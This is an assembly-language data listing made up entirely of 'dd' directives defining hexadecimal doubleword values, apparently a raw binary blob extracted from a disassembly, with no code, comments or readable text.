dd 98F9ED81h, 0C2899D80h, 0DC9C72h, 0C3EC8D23h, 0E2F62460h
dd 7E649700h, 14D5A412h, 222090F5h, 322E9B7h, 4A3430C7h
dd 6CFB959h, 271F7F00h, 84B820B4h, 2FE1056Ah, 46D875DEh
dd 31CCC6D8h, 69523E06h, 22206CE1h, 0D8285468h, 25234E5h
dd 0D38840D8h, 0F612F742h, 2CA40772h, 0AC7BD073h, 0F20048AEh
dd 4B964CF5h, 0C0EBEAFFh, 0E2859149h, 0D101CCD4h, 0D3C81C36h
dd 0CC5D75FCh, 1CC196F8h, 0C3C7EDh, 62A50172h, 0A91D15A1h
dd 2424A438h, 693C9D0Eh, 0A1C0FD7h, 23118C52h, 0FCE5AE03h
dd 1150E2EAh, 5B707E46h, 2F692201h, 0FD53831Fh, 4D9956C0h
dd 4F08042Dh, 7F86F26Bh, 0A8915251h, 984430BCh, 12153C50h
dd 4CFC4B8Fh, 0C198469h, 6A6908CFh, 0A94D8E7h, 3AAC141Ch
dd 57613444h, 0D6293D59h, 0B34030h, 0AD7410E1h, 5BF591AFh
dd 0A397DC00h, 55339E98h
dd 0D4512AB3h, 5F0213F4h, 758EAC2Eh, 25D03C2Eh, 115CF814h
dd 750E5446h, 26A1CAB8h, 0C05C44D4h, 0F57AD840h, 0EE8F24h
dd 12F0523Fh, 0C8639CFEh, 2888B47Fh, 29CF60EDh, 0E6E74748h
dd 22027BE0h, 207F5440h, 10E311F3h, 0FA033259h, 41761F1Ch
dd 2DB24023h, 674A4EEh, 8050613Fh, 561A4F64h, 0FCA348CEh
dd 0D9D21852h, 8B4CF058h, 409FD1CFh, 0E6839E2Fh, 76970F11h
dd 0BA4BFAACh, 82887h, 0DA177C89h, 0DE5C3004h, 70913D7Bh
dd 37102234h, 0A10042CBh, 9D315917h, 7A835Bh, 3DC4E83Bh
dd 0FE3AF6B4h, 0FBE36404h, 0F208CE55h, 0AD7EEA40h, 0D9C101B4h
dd 0D2C6FAB3h, 4BE98CFBh, 0F6E02985h, 251B0059h, 1821CE77h
dd 76003363h, 2AC3EACBh, 3C7EBFCh, 0C11C03B9h, 6810E484h
dd 0C09FF565h, 0DDDC39FEh, 512A0380h, 0ABFCF8CFh, 7D1FC205h
dd 0F004BB18h, 4F02542Bh, 0FC908767h, 94B12338h, 0DC8BC040h
dd 17521D3Fh, 0CD29C0BCh, 0DA4BD3FDh, 8EEE39C0h, 0A0FB5B98h
dd 1F3F5744h, 0DBCC2E36h, 92E44966h, 5B20DEA8h, 0D03CE0B2h
dd 0F2228489h, 8587A700h, 0B313BD81h, 0D3B41361h, 9D0800A9h
dd 0E5C9EDCAh, 88DDAC26h, 0A82EA44h, 0D5E04BE2h, 80832808h
dd 0E80866A3h, 0F403BAE3h, 39AE3370h, 7320B935h, 6C4FF188h
dd 5F52D0B0h, 0D1502AE7h, 0D21F00A0h, 2CF42DDCh, 0CC03216Ah
dd 0C679AECEh, 0E422E5D0h, 0BB74278Ch, 0F3832900h, 86E635B0h
dd 0AA259100h, 8E4B7DFFh, 5ABF1A1Ah, 8C90B0E9h, 0E817F652h
dd 6401403Bh, 0CC03DE57h, 4F34818Ch, 651E89A9h, 604008A0h
dd 0D10F6A3h, 0EF8B01A2h, 4EC9B769h, 0C0AC324Dh, 0CF4C735Ch
dd 0E418C597h, 906C00C7h, 6D1E05A6h, 0DBD4400h, 275B3FCAh
dd 0AA190CD4h, 38795534h, 0F00A6D00h, 9E14774Fh, 0F6AD30ECh
dd 4DBA3F68h, 3D295364h, 445084C8h, 0D3E0CA7Dh, 92E03B12h
dd 81EA5808h, 0E6BF53C9h, 3226D17Eh, 0D4A68000h, 0C8C48Eh
dd 0FC876929h, 61542760h, 0AD82A40Fh, 643777DCh, 60D8A4C8h
dd 0ECB410E3h, 1386500h, 0CC1D36CFh, 0B21803B1h, 804BA192h
dd 80C2893Bh, 0FA5D71E0h, 530A97h, 0D7CE629Ah, 9949D3F5h
dd 3058C9E8h, 9EF40C14h, 5C51183Ah, 0C3323419h, 0A0644B71h
dd 4D678A01h, 21349A80h, 3C3D7024h, 917CF20Dh, 8EE58634h
dd 94892196h, 3C0222Eh, 52BC86E8h, 2693C8B3h, 9C2D0744h
dd 60CCB689h, 69AD1203h, 1927C3Ch, 1FEC15D3h, 61D653DCh
dd 3610C7F4h, 0AC00D626h, 0F1C3E8BEh, 5E0F37h, 61B73A2Ah
dd 92D0FCBBh, 4AE0F561h, 38281ABAh, 0D80254C9h, 0D720FAC1h
dd 0FDE568Fh, 3BC8F5F1h, 0B3E65301h, 0F01ED1E2h, 9C94D2FFh
dd 3B0EEC40h, 2A8D32Fh, 16DC21B5h, 1C7EF8E0h, 5E694C64h
dd 4E881880h, 0FCEC0B8Eh, 0E08221D3h, 0AC91DED6h, 63A310BAh
dd 33FFAF1h, 61CC4657h, 0C7C8828Ch, 6B242122h, 0DD1120CFh
dd 861C794Ch, 2CC08351h, 6D07F1Fh, 750621E4h, 0FCA61687h
dd 5C54B059h, 0FEC564D2h, 4128C38Fh, 4844D3E2h, 8EE0465Ch
dd 7BBE205Ch, 8B5FDBh, 4382B612h, 141BC9BCh, 197ECD12h
dd 0B0849C24h, 9C002C8Dh, 9777C40h, 0AD9ACB5Ah, 9BB3CC03h
dd 0D3AF2102h, 0E1463A14h, 4315DCF8h, 0BB0459A0h, 12866AB9h
dd 0F7F49052h, 536707C6h, 100827E0h, 39C389E3h, 0B80C9DE4h
dd 58D59EC9h, 9AD848C7h, 34C03C4Dh, 35FB632Ch, 0B5A6E900h
dd 268EC0F0h, 4177418h, 2389281Ch, 0BE808046h, 0A1C4394Dh
dd 5E40958Ch, 0D9EF993h, 4AD47604h, 4481F81Fh, 80043EBDh
dd 30E125DCh, 0BCA9EB2Ah, 827C4B5Ch, 0C0126F91h, 213AB80h
dd 0D2389845h, 0E4C09F10h, 0EA88FEDEh, 40EC4AA1h, 30847328h
dd 3F032E72h, 0C757644Dh, 0DD61E09Dh, 0E5E90AF1h, 8090CB50h
dd 0ECD5042Dh, 5201D185h, 0ABF3EE90h, 44E57AC0h, 26C168CCh
dd 16C8A9E1h, 548280Dh, 0CBBFF900h, 62227367h, 38E4A0B2h
dd 0FA5601BAh, 91ECFDB3h, 5DC8607Eh, 26767890h, 2868E801h
dd 0C774C3E6h, 0C2B44CC8h, 50527F51h, 0F8E21044h, 0E44DE28Bh
dd 6858BCh, 0F50FCF22h, 0CED8B473h, 78099F0Eh, 8C4C10ECh
dd 0AEE075h, 9A856C8Eh, 5FFF9DAAh, 1A7F9805h, 480B09Bh
dd 3A4FD475h, 0BB04689Ch, 0C08AEE08h, 0E7F3FDAAh, 0B48F4E06h
dd 1E28F5C5h, 121EA6B1h, 86BE0BEFh, 15F23491h, 6CCCEC85h
dd 293001CDh, 0CFC7C925h, 0E5998BCCh, 0C6D011FFh, 17317CF3h
dd 59FDC56h, 4CE7652h, 8324C870h, 0E0E20930h, 0F4103C62h
dd 8C772784h, 0C528B709h, 1C2C085Fh, 0C9F9BF00h, 284F9811h
dd 10CE44Ah, 0B4ACBB36h, 2118F745h, 0FCB830CCh, 0B1D8C618h
dd 0C595B89h, 88694D14h, 0B8B151D9h, 0B8B2B00h, 72F90ACh
dd 0EEC05082h, 0ED83F093h, 0C412E435h, 68CCDDABh, 7F9B0F77h
dd 0B9FAEB20h, 577D5040h, 8800B175h, 0DC522CCFh, 34DDD1BCh
dd 6040A9AFh, 64D74380h, 0DC205900h, 0E98D07C7h, 56A90930h
dd 0C2F1BE4h, 0E2D7D101h, 66B0609Bh, 0AFE09741h, 0B0E12CFCh
dd 415760D8h, 8558824Bh, 0A8F91DFEh, 0DC400CEEh, 1828397Bh
dd 0B8761720h, 0AC30FB19h, 515888A3h, 0B399C0C5h, 8B163482h
dd 154D2C00h, 0F27843CFh, 5A19883h, 0BB72F765h, 0A45805C9h
dd 0DEAC8CAAh, 0D969CE00h, 72200217h, 0CC3F47Ch, 242D0E5Eh
dd 0A900D7A9h, 40A40C21h, 7724E68h, 6A01C4C2h, 0EB3491E8h
dd 3FA850CEh, 0FB0039E6h, 0D2F5B761h, 5411E25h, 8F03F8D9h
dd 837C9874h, 0E00008E0h, 9352AD24h, 33FC65h, 0D43746C1h
dd 0BC01197Ah, 9803977Bh, 0EB6004B3h, 496900E1h, 4AA75E7Ah
dd 0F3F22C21h, 730C6E02h, 0E41B7FBCh, 0B5461774h, 0E73808E1h
dd 0EF15E580h, 0B2AFDAh, 0F13DF221h, 0C923CA61h, 84432D4Bh
dd 88D31258h, 483854C6h, 0C9024183h, 44575CF5h, 0BF00C071h
dd 59CE4E84h, 28581F9Fh, 0CDBB8068h, 0A4C8563Dh, 0E446CA13h
dd 0A8141023h, 139D28C5h, 2351B2B0h, 0B0F7037Ch, 5C5A6E27h
dd 0F16BF628h, 0D8DF5000h, 88CBBCB7h, 4EC1C04Bh, 24EA1CD4h
dd 0A0084D4Bh, 8B54808Ch, 0B3167A82h, 0A6C55301h, 70C13733h
dd 13501E4h, 8FC930B0h, 48CCC6F2h, 7F1CAEA4h, 466DD5Eh
dd 0D0CAFC60h, 11D099BFh, 0E36200D3h, 37A40DC6h, 17B0075h
dd 54CAB47Dh, 7634DE45h, 90C3419Ah, 73EA070Ch, 5A2EC92Ch
dd 0BC908798h, 91324074h, 1D7C684Bh, 0F0CB2400h, 0C380C205h
dd 1A1212ABh, 0CF40884Dh, 4CB8C9E0h, 53585C13h, 3D9F9088h
dd 78813ED6h, 55A30AADh, 52EEE8FBh, 763FF004h, 0D0C23C5Bh
dd 23D310D4h, 0D23CB490h, 486BA429h, 3050CA15h, 83F6D8A5h
dd 6E1B0F1Eh, 31C3FA49h, 3280473Eh, 8509A14Ah, 8458CAC9h
dd 0F0C8EAD8h, 0B15203BBh, 25D56B57h, 0C0C0EDE2h, 5A02A1F9h
dd 7FCE5FE2h, 0DD8714Fh, 40E152B4h, 0A248D300h, 0B8EB6828h
dd 9CA44h, 5D54518Ch, 227097D7h, 6F0F4400h, 59A6CC39h
dd 5F2A1293h, 0C1D430CAh, 0A91D5CA1h, 404086D1h, 0E9AE383h
dd 0F4E10542h, 0CB624E77h, 2879794Ch, 0D47D7800h, 6F54E7F4h
dd 9F0D3C72h, 2C9BBBA0h, 0B7833891h, 114D3CE0h, 3DCB1028h
dd 0BE9E784h, 0A0BC6B4Bh, 0FC5F4AAFh, 906928ACh, 276890A4h
dd 98A02EDCh, 39E120A5h, 5AB4C124h, 4973981Fh, 156AE04Eh
dd 80FF4CDEh, 0D410348Bh, 0B60084E7h, 0D2D0CBF1h, 4AD2642h
dd 62761931h, 1804C790h, 0E11F80BFh, 0C4D1E384h, 889B38FDh
dd 70A41819h, 28503DD3h
dd 68226C54h, 183448BEh, 0DD5A7680h, 8C007565h, 0EF79823h
dd 1BDC815h, 0B6A8AD68h, 6C6B54FAh, 0A44502A4h, 84D374DDh
dd 1405524h, 4CCEAED0h, 16054100h, 19BA4AF9h, 3DB1C23Fh
dd 0C445113h, 4A02FE00h, 1D413330h, 20840094h, 70F451C7h
dd 0C47C9366h, 547F6A08h, 294F9E55h, 921597A0h, 30910F38h
dd 0A87113C6h, 588B52h, 386997B6h, 196567Eh, 1185FC2Fh
dd 0BC50F14Ch, 30DE959Dh, 0F571737Ah, 4388F9EBh, 0D4F200F0h
dd 9B2F8279h, 6D0225F1h, 0CBDEE6C6h, 5611C05Dh, 404B4A9Ah
dd 0F68B98DCh, 0CE0205E7h, 26D4B2AAh, 1694F004h, 88F442F5h
dd 3C0B97ACh, 817A9C76h, 0D34EA4E8h, 0C0739460h, 0AEDE5ED9h
dd 7BF07493h, 2F1CF216h, 0E02E58D7h, 414829E2h, 2AB40B79h
dd 0C90D5C6h, 771D69AEh, 2284BF1Dh, 88E26B4Dh, 8130D040h
dd 925E105Ah, 1BDD1D03h, 802F17C2h, 4F4E7A08h, 4C9B4620h
dd 510C8CE1h, 0EE187BD2h, 57B0258Bh, 799EB499h, 0E0EB1880h
dd 0A9AB91h, 6C658342h, 0ACFC03BBh, 1907301h, 0B8A8C4D4h
dd 605C58E6h, 7EC2A0DCh, 505ADF19h, 0D5CEEC60h, 5C88091Dh
dd 40A0A0E4h, 0E9073034h, 9C10675Eh, 26D32D90h, 2D9E6A14h
dd 1CA169DEh, 40994415h, 0F45AF184h, 9A622890h, 1548FC8h
dd 22FCDE46h, 0D0C61498h, 0C33C5864h, 0DF713FB5h, 85B801A0h
dd 0DCA01F48h, 7E158653h, 3760C0D0h, 28D2FA51h, 4F4D1AD8h
dd 0E4C28993h, 0D3066871h, 4520AD28h, 1683983h, 35C9490Eh
dd 0F830D6DCh, 0A36402D8h, 1353D725h, 25973061h, 39A837F8h
dd 0EA8A80CCh, 1264764h, 0FA4300E5h, 0AA9AAB7Eh, 0AF0BE61Bh
dd 1050F4C9h, 5C9DDC30h, 9501F054h, 0BE9BB34Bh, 72407045h
dd 0D4495092h, 54174CECh, 7F4466CCh, 0C9951h, 33822328h
dd 1700F187h, 0ACB422BDh, 0A4EDA803h, 0EDE00A4h, 3C8D775Fh
dd 0B40123F6h, 0C7140537h, 0DAF04C0Ch, 98174875h, 0A84C928h
dd 734DB321h, 0D8921444h, 0ED89C732h, 0F200C87Ah, 0DD812EA1h
dd 2ADBC1Ah, 88556784h, 364042EBh, 1048E5B2h, 648FC1F0h
dd 8A403283h, 7E08F4h, 34E3CEFCh, 0FDB3D5FFh, 3D204205h
dd 28D1B461h, 0D3CC53C9h, 992200BBh, 5EF61959h, 0D917045Ch
dd 0B418B340h, 0E1226A9h, 0BF1BDC56h, 800CC392h, 98AE09FCh
dd 0B48E58h, 0CB2B5F7Fh, 0FBA3B129h, 5EACDE00h, 0AFF9ADC1h
dd 1FD000FCh, 0B46272FDh, 49883B8h, 91CBC625h, 31F978h
dd 0A28118DEh, 0DC0B26E8h, 0E47C6273h, 40D20178h, 0B547E1F0h
dd 98DC4852h, 151F4500h, 5C91E578h, 619F0099h, 1C72F744h
dd 4103652Eh, 8D1B7FBBh, 466833D0h, 4FC8C90h, 408C659Dh
dd 2BD700E1h, 0DB4AE73Bh, 6BFE8884h, 0F7277C01h, 53023908h
dd 6C94A478h, 9B1B5E00h, 818C7C69h, 730CF119h, 634E79h
dd 5D9DEE00h, 58D2FEDEh, 5611A0BCh, 0E4FC3C00h, 0E12E3BD6h
dd 0F8BA520Ch, 25B609Dh, 875A1576h, 2740CEE4h, 0ED00DBA1h
dd 6C7C94Ch, 94DDC39h, 0D070DE85h, 48CEFC11h, 40B5BB0h
dd 684C240Fh, 0BD8138h, 0AE68217Ah, 0B4580B7Fh, 0F94C2DFEh
dd 92CAC0F0h, 53D7ACB2h, 0A42EC061h, 0C9D9191Ah, 0C9A86277h
dd 0ABDD8090h, 0B82A8EF8h, 0E1EB09A1h, 5460A134h, 0FCBC4D4Fh
dd 0BCC00B44h, 0B9866CAFh, 24511168h, 7240D04Bh, 0E92782Eh
dd 0ACD68D38h, 0F6B0F4A1h, 0AECC4B9h, 74E531C2h, 0E0D454C8h
dd 0A489901Fh, 6497DC01h, 0B7D7ABBBh, 0F788AC79h, 1454099Fh
dd 418912C3h, 0C0C3100Bh, 24D130ACh, 92A48CD0h, 0ED580885h
dd 50752EBCh, 0D7C758h, 7A0BD43Fh, 425857DDh, 2504E803h
dd 0A8FFA7C9h, 0B7F1131h, 9ECA15CCh, 0C0995480h, 7114B3D1h
dd 2FC2410h, 74DE529Fh, 0ED7072E3h, 8AC6F030h, 56403856h
dd 4A4878h, 0CFA8797Bh, 5D6B2287h, 340B1802h, 56267472h
dd 0E49B441Ch, 0F050ECCCh, 18BE7464h, 1965E94Fh, 0CC401A5Ch
dd 9759387Fh, 0FBB05C10h, 1933FA00h, 0C9061217h, 44DCBC1Bh
dd 0BA408886h, 54965F0Eh, 1C30567Fh, 9515A457h, 7DB58491h
dd 0DEAFC34Ch, 807DD008h, 2EE51FE8h, 30B35282h, 0DB77BEFCh
dd 67319000h, 0CFF49396h, 640251DDh, 9D3176D5h, 14B3C4E8h
dd 0A8572F7Bh, 3F839453h, 914CD7E4h, 7D6811C4h, 31CD5118h
dd 7C00EB33h, 62EE2B43h, 0F92EFCF1h, 7631D87Dh, 0E2BD7B61h
dd 40D4D112h, 5138A3A5h, 6FD74503h, 0F89D6269h, 16677E43h
dd 28CE4C14h, 0F600884Ch, 2F592854h, 920341Eh, 4D7FBA38h
dd 4F14C052h, 221C7E62h, 610200CEh, 0AF318F56h, 444A039Bh
dd 90F28C94h, 18C97B00h, 0DE266DE5h, 232AA10Fh, 71214073h
dd 13FF52A4h, 54839A02h, 0E1A0F85Ch, 0C018563h, 47B3248h
dd 0A8528BFBh, 0C014E1CEh, 6C29B862h, 7B2A60A8h, 0C1EC319h
dd 0BB99AE2h, 0C8E5B318h, 2452A1BCh, 0ADBC6BD1h, 0D44F8C98h
dd 0CA51F461h, 70338BF5h, 499EE100h, 0D88ADE4h, 12D2AF3Ah
dd 0AC0B5185h, 0F78024Ch, 0F86650h, 0F43D3016h, 5516D2Ah
dd 0EC1C2E07h, 6B8072AEh, 48349642h, 92807C81h, 171DC920h
dd 6757CA00h, 4DC8F34Ah, 0FCEC0096h, 29B4B372h, 0CD78A256h
dd 0E83B441Eh, 0E24017C0h, 0BC4C417Dh, 0CD4B802Ch, 0E37ADA9Dh
dd 880E7000h, 209BA67Eh, 0E218008Eh, 2909A79Ch, 40E25776h
dd 0E01BF629h, 9030F913h, 5CD738h, 2A1A6F91h, 0BBC5ABF0h
dd 1E146900h, 5E7FB38Ch, 0AC41F10Ch, 0C060A5CAh, 0B0AD95D1h
dd 271C2D16h, 5FC04834h, 44310724h, 628817h, 352B2A29h
dd 0A40C9228h, 1084A081h, 1C570A64h, 0C2661B26h, 0D92E61E1h
dd 244CD492h, 4C156A16h, 11000027h, 0FEAE8Eh, 3868A8F5h
dd 815E4F9Ch, 0C95121C6h, 92E20099h, 0EB5BDCD1h, 0B7381FF4h
dd 2FED8099h, 5E6001A8h, 52AD0515h, 0D0B33FF5h, 0EEC9B4FCh
dd 74DDD309h, 34582384h, 997C4Dh, 0A1D58A38h, 0E2FF8209h
dd 0F3693301h, 9B182B97h, 4F5C61CAh, 0CC24283Ah, 0C9016601h
dd 8B62C057h, 0F8B9DCh, 0DAF70BB4h, 0F40950FBh, 0FC176090h
dd 7430BA9Dh, 254E827Eh, 48C4C34Fh, 48D0D84Eh, 3D1CD4A3h
dd 3B806B0Bh, 4404B429h, 0D8923A8Ch, 83E744h, 0F34C0A50h
dd 0E5BC0827h, 0D32ED176h, 541340DCh, 0D803B4B2h, 2F4D62A2h
dd 0CA754BC0h, 80182D58h, 0D7C0E941h, 0EEF00CBh, 8530A9ACh
dd 0BAFE74A4h, 34820494h, 0AACAAF1Dh, 0C8B8A0A8h, 0F860803Ch
dd 0FB016Fh, 669184E8h, 15C43B3Ch, 0A5CB3D01h, 5CECA47Eh
dd 3E5E185h, 0E3E812BFh, 0B4CE071Ch, 9AD0F720h, 0D36C37h
dd 77590915h, 162779C7h, 2A9C3F48h, 0E8EF3C75h, 1A00FF19h
dd 0D984A1Eh, 6B9801Dh, 0F07360FBh, 0D4B429EEh, 4F667240h
dd 0CF24031Eh, 0C2D4FF75h, 0C7C42DD0h, 0D0A4F624h, 0E503DE09h
dd 0D89D0E6Ch, 0F8DD2E1h, 0DFCECC4Fh, 46961E0Ah, 6826EE3Bh
dd 0AA6A4940h, 126CE89Bh, 94ECCD37h, 62CC0ECh, 5000E325h
dd 7AFFE01h, 196F20DFh, 307578D7h, 3EB867D1h, 5FE4C9Dh
dd 0C8F9097Bh, 8CA84884h, 0E094E187h, 3C10ED2Ah, 34DE6208h
dd 7B0F8049h, 3ACD0906h, 0BD8A5D05h, 4CCC81FDh, 7EED0EEFh
dd 27E09C90h, 0D1217350h, 2300F6B8h, 0D874D9F5h, 1DD275E4h
dd 28C6ED0Eh, 40149C64h, 0D8121FF7h, 2A0F5E02h, 0C1AB3B89h
dd 186CCACCh, 8A07C00h, 73B0E2D5h, 0C4E2A0B6h, 0D8DE0556h
dd 5C163C38h, 2C2315BAh, 0C635F05Eh, 0DC583DFEh, 0E84A7Eh
dd 94265C88h, 804B6B4Eh
dd 954CE48Ch, 98651420h, 5458BCAEh, 0C40D2C24h, 0F602D104h
dd 3204401Fh, 0F5F76273h, 0E4402FFDh, 88198F18h, 501B3A79h
dd 89BB3680h, 97AEDE0Fh, 684E740Eh, 8B6A64D3h, 1BA8C856h
dd 298FBD00h, 44075E67h, 0CE74007Dh, 4D9E1E1Ch, 5D13CF68h
dd 0FC9102DEh, 203ED5C6h, 749F0370h, 2DE5A309h, 4AE4D871h
dd 0BC1490EDh, 120498E8h, 0FDD21D27h, 0A0C868C4h, 0E5CA059Dh
dd 0E43534E1h, 0B7036ABCh, 6F4C45C9h, 98707798h, 0E9E42534h
dd 68002C6Ch, 95F59B6h, 0F036229Ah, 3493F6h, 579754EEh
dd 5AE429C9h, 0C80BDC77h, 10477EE6h, 1D45E14h, 0EDF091E7h
dd 40CAC682h, 0B0EFB36Ch, 0CC4C53h, 1D5A98CFh, 148696CCh
dd 0F8315140h, 7F0FB856h, 26606182h, 3385DAD7h, 939FD00Eh
dd 19885F4Ah, 4C468334h, 0A9539A32h, 92F70070h, 0D16EEFCDh
dd 2696F493h, 0BFF01Ch, 46078C90h, 3BFDD7DCh, 44D5D049h
dd 0CE341B00h, 5948384Eh, 24212298h, 999760h, 4775E1C6h
dd 0E3709F8Dh, 742BC200h, 420AFD57h, 7C09051Ch, 5C48866h
dd 0CC40E080h, 9A00B734h, 6051FDEh, 0EEB3E5h, 0F0CE2EE9h
dd 0E6194C08h, 7BBD1A3Ch, 5605D0B3h, 90101876h, 134E2280h
dd 0A2C14BFAh, 0EFBB0020h, 0B3E8E5CDh, 27AC91A2h, 401F864h
dd 5DDF2BE4h, 0C3F409AFh, 0C69C0129h, 2CF54716h, 0B03379h
dd 40389643h, 804A66h, 133AED1Dh, 0FBDE0408h, 0B0E9CF25h
dd 19E469Ch, 0B65A7E6Ch, 22518242h, 0E3860374h, 33F5B31Ch
dd 5C98EF8Ch, 524D02Dh, 94B27434h, 84EE8Ah, 0D8C6F7E2h
dd 0AE80EAD4h, 3892176Ah, 1A4954Ch, 0A4693446h, 8CC8D3BAh
dd 2600F480h, 6F444263h, 17E010E3h, 0A129B3h, 0D3F5F67Ch
dd 16761A31h, 30FF5B00h, 0F703B47Fh, 7ADE294Fh, 0EB093E9Ch
dd 44CCE978h, 0B1DE3600h, 3CAA3B20h, 0A6DF016Eh, 0ED92FB0Eh
dd 306080C8h, 0F57EADC9h, 48621E75h, 0DC540BAFh, 0EDE9350Ch
dd 6FE544h, 0A52A594Eh, 0E8ECCF70h, 0AA7A19C0h, 3D92715h
dd 0C4868B40h, 0CFE85473h, 5D0952EDh, 64517EE7h, 90127DA4h
dd 0A150325Ch, 9C84E5A9h, 0CB5B4453h, 2FE6E4C2h, 0E99970E6h
dd 0B4216AF9h, 0FAF0C769h, 4CC57101h, 0C916D548h, 272CA4ECh
dd 6F172003h, 0DA150A29h, 0BD2C60F9h, 69B088CFh, 3C769009h
dd 0F65C68E4h, 0E3D1071Eh, 0A26BA622h, 0B8901155h, 0BAFD51B3h
dd 17AE0029h, 8311A5D0h, 10E5093Bh, 0ECD9BB34h, 72804A1Fh
dd 0C1E62BFBh, 86F61C60h, 0B46D40ACh, 0B33C8323h, 0FF2EAF04h
dd 0FCC0C6B0h, 139DF841h, 0F5E45B9Bh, 32CBF5D8h, 5FE1C084h
dd 46DDF19h, 6914B4D1h, 2DFC882Eh, 0C6FCCB01h, 55055CEEh
dd 0A742E0h, 81A19630h, 0F0532AA8h, 0C9D05250h, 0F372BAE0h
dd 0B362F5F4h, 4470DEE9h, 2A9D172Ch, 0D2390DAEh, 0BBD04CA0h
dd 0FC866403h, 0C14F9EB0h, 8BE013EBh, 59E50040h, 0E1B2BDB9h
dd 0C4980D15h, 7FCC9B02h, 465679DAh, 0FE3607DCh, 40B434E4h
dd 0AB4039C1h, 0AEC9F301h, 7E504D10h, 56BC226Ah, 0C91B4F27h
dd 0CC217BB0h, 44207EECh, 0CCB05E1Ch, 97525422h, 0D513B7F8h
dd 204C3Bh, 7EC52Dh, 294FA709h, 6054E83Ch, 9D0AE9E4h, 80EA4DFDh
dd 567FB301h, 0F2EADE1Bh, 990A0B68h, 8C19A1B4h, 844C2CCBh
dd 0A528CC69h, 43A2E8A0h, 0D41D1BECh, 0B1802B02h, 0F2E640EDh
dd 235C5F73h, 0D69098D8h, 5600DDA7h, 2F22A123h, 50A347h
dd 0D1803E6Fh, 4CB40A0h, 51B45C1Ch, 238EB7Bh, 2B866BB8h
dd 35007844h, 38733F0Ah, 24A0C3h, 2B991911h, 5A6B1E22h
dd 0B44E2F7Eh, 0FF8ADC20h, 2F27A60h, 675F042Ah, 307E2BB0h
dd 71259B40h, 17550503h, 3A1CF90h, 0B9F0D79Fh, 0D082BAC2h
dd 0EE21E968h, 0F8704010h, 0AC6458F5h, 0E03178C0h, 0F77BD5A5h
dd 300C6251h, 75895418h, 911080F5h, 6B0017ABh, 634A3D15h
dd 0BC6C305h, 181AA70Bh, 402F80Bh, 1C62A98Eh, 0E101E866h
dd 0BA5B73FCh, 0F02C2738h, 3A4CA96h, 0AB09E0B3h, 5A219055h
dd 71574A9Bh, 2DDC004h, 0C66C625Bh, 8BDE4AF0h, 0E5B600D4h
dd 80442941h, 0C6B00D2h, 54D87657h, 484C75DEh, 3145689h
dd 97C21922h, 997DD0B5h, 6DB401A5h, 3633EC7h, 81A82CCFh
dd 30F506AAh, 3953FCh, 7F4FD988h, 0B0EA4170h, 69B35000h
dd 6AA59F29h, 0AA8CA0FEh, 914FE8FCh, 91BF6010h, 0B10055F9h
dd 586B7693h, 1A4745B7h, 504B32E0h, 108388C1h, 6EE414h
dd 0B276DDB9h, 64AFED18h, 4A43109Eh, 0F3C4889Ch, 0A96D00B5h
dd 124F3370h, 36010D42h, 0C5D70657h, 0A5E25277h, 94D19D80h
dd 62085920h, 0EC20F75Bh, 0C6A96E0h, 9B4BF866h, 9FCCA69h
dd 0F0197FCh, 1BC91265h, 0C1D2DF15h, 0DE11ABDCh, 0C8203A7Bh
dd 774D9975h, 5CEFFC82h, 0D488A8FCh, 0A04A5B45h, 84117C40h
dd 0F03F6700h, 2D7AB7C5h, 9816F70Bh, 1E487186h, 0A5498773h
dd 0B9850090h, 0F9010F9Eh, 44AB5CA3h, 0ECC4326Ah, 69FB6024h
dd 4F4D557Eh, 54D491B5h, 625E20E6h, 82B5C6B2h, 7A7A2DFCh
dd 35700E4h, 35627325h, 1C5C48A1h, 0CBD31A38h, 0BC404359h
dd 0B2CA135Fh, 3A0321DCh, 0E857980Bh, 0F208DCB1h, 1D625204h
dd 0E2C1E82Ah, 54407234h, 701BB28Eh, 40E0B4CEh, 162BF1A3h
dd 8419BFE8h, 96195EC9h, 0C33D3FDh, 0C8576416h, 508A8604h
dd 0C82A4BC8h, 7BE230DCh, 0B02F0300h, 9A79CF97h, 0F2EB2FB4h
dd 807DD461h, 4972F72Ah, 502DC9B6h, 4466385Ah, 38217F7Eh
dd 756C1656h, 0BDEC9120h, 8F9C3D52h, 7BC4C023h, 334BCC2h
dd 8FE1AF45h, 4DB0BEA0h, 0D202BF3Ah, 0A6DE73E8h, 0EA68E1A2h
dd 22481715h, 14F3CD08h, 31132780h, 0F6375D4h, 85580CA3h
dd 4C964D69h, 170BF00h, 97F319B4h, 1A580B1Ch, 0E029E114h
dd 853EB879h, 31A19075h, 7D45F1C0h, 0CF62193Ah, 10E998D2h
dd 0C0E634E1h, 0A1AD5EE9h, 0B8B464E4h, 0C9B41403h, 0E0582E53h
dd 205096DCh, 3EFF3268h, 35A2B201h, 0B6C49DCAh, 0D7F88A21h
dd 2FBF76B0h, 50B85FEBh, 0B09C87Ah, 4169E161h, 50D29D68h
dd 0DDFA1638h, 0AFAC207Bh, 0DC1855C9h, 1A805E73h, 15E8E9E9h
dd 0CDE70F4h, 0B94B660Ch, 0D0007859h, 407EBE27h, 7BCF4205h
dd 0EBF8027Fh, 0E43DF0D5h, 0C0007064h, 4F17BD62h, 0AF6685h
dd 0B8CFB5B4h, 0D324983Ah, 0CD02BCB8h, 504F9ABAh, 2DD07126h
dd 0FB016CC4h, 701B0C89h, 39205139h, 0E2290071h, 0A70DACF5h
dd 20F79FE9h, 0C748DCACh, 0E53960BBh, 2E7496A6h, 1C84CA14h
dd 4C76008Dh, 0ECC9B0ADh, 8423B313h, 58CCEC30h, 3A0AB83Dh
dd 800FF25h, 55B43105h, 53030204h, 0D3C7CA54h, 463125F5h
dd 0F120D4A1h, 0AB3FF439h, 9F0E7907h, 81BE82DFh, 8959E183h
dd 0FC229438h, 9B4D2492h, 0ED487894h, 68A7DDC8h, 0C21DF8h
dd 38BD9C45h, 0C579C3BFh, 0C8206EFBh, 0E85937h, 96406765h
dd 0BAA1CB0Fh, 0A07AE7Ah, 9E5A4971h, 0EDA3EC91h, 601468A6h
dd 9C1AB507h, 0FC243Ah, 0DBC41460h, 2EF1F2h, 1CFE511h
dd 9EDC2CB7h, 6AB30C00h, 0C79B368Bh, 1303E6D9h, 44C5CC9h
dd 52271A54h, 0A1004CB2h, 7CDFE4A7h, 1D000F17h, 9320FD05h
dd 588B464Ch, 0CF220C23h, 0E6D5C62Fh, 740902B0h, 277669ADh
dd 0E29474E1h, 0D13060E0h, 0F0ED0E2Ch, 4D836160h, 15FA3FEEh
dd 9CC548EBh, 64324900h, 504C1AAFh, 47DD961h, 0A5D38C45h
dd 0E3BC8554h, 0FC6A1010h, 248C10D6h, 64A0512Fh, 0B98C4797h
dd 20C4B603h
